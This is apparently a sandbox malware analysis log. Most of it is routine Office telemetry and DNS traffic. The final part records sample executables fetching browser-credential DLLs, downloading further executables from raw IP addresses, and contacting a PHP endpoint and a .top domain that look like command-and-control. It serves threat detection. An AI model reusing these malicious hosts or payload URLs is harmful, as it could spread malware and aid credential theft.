Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.css
Source: f3f60a7f50.exe, 0000001B.00000003.3442308926.0000000007372000.00000004.00001000.00020000.00000000.sdmp, f3f60a7f50.exe, 0000001B.00000002.3482411711.00000000008E3000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/1
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce9024154
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe-3693405117-Ke
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe0
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe008203001
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe2g
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeF
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeS
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5N
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5c)
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61395d7f
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exen
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeo
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep2
Source: skotes.exe, 00000019.00000002.3486643108.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exex
Source: file.exe, 00000000.00000002.2781502054.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeT
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exex
Source: file.exe, 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778649643.0000000000A65000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllA
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll3
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlle
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2781502054.000000000171E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781502054.0000000001795000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2811087344.0000000023B18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778649643.0000000000A65000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2781502054.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2781502054.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
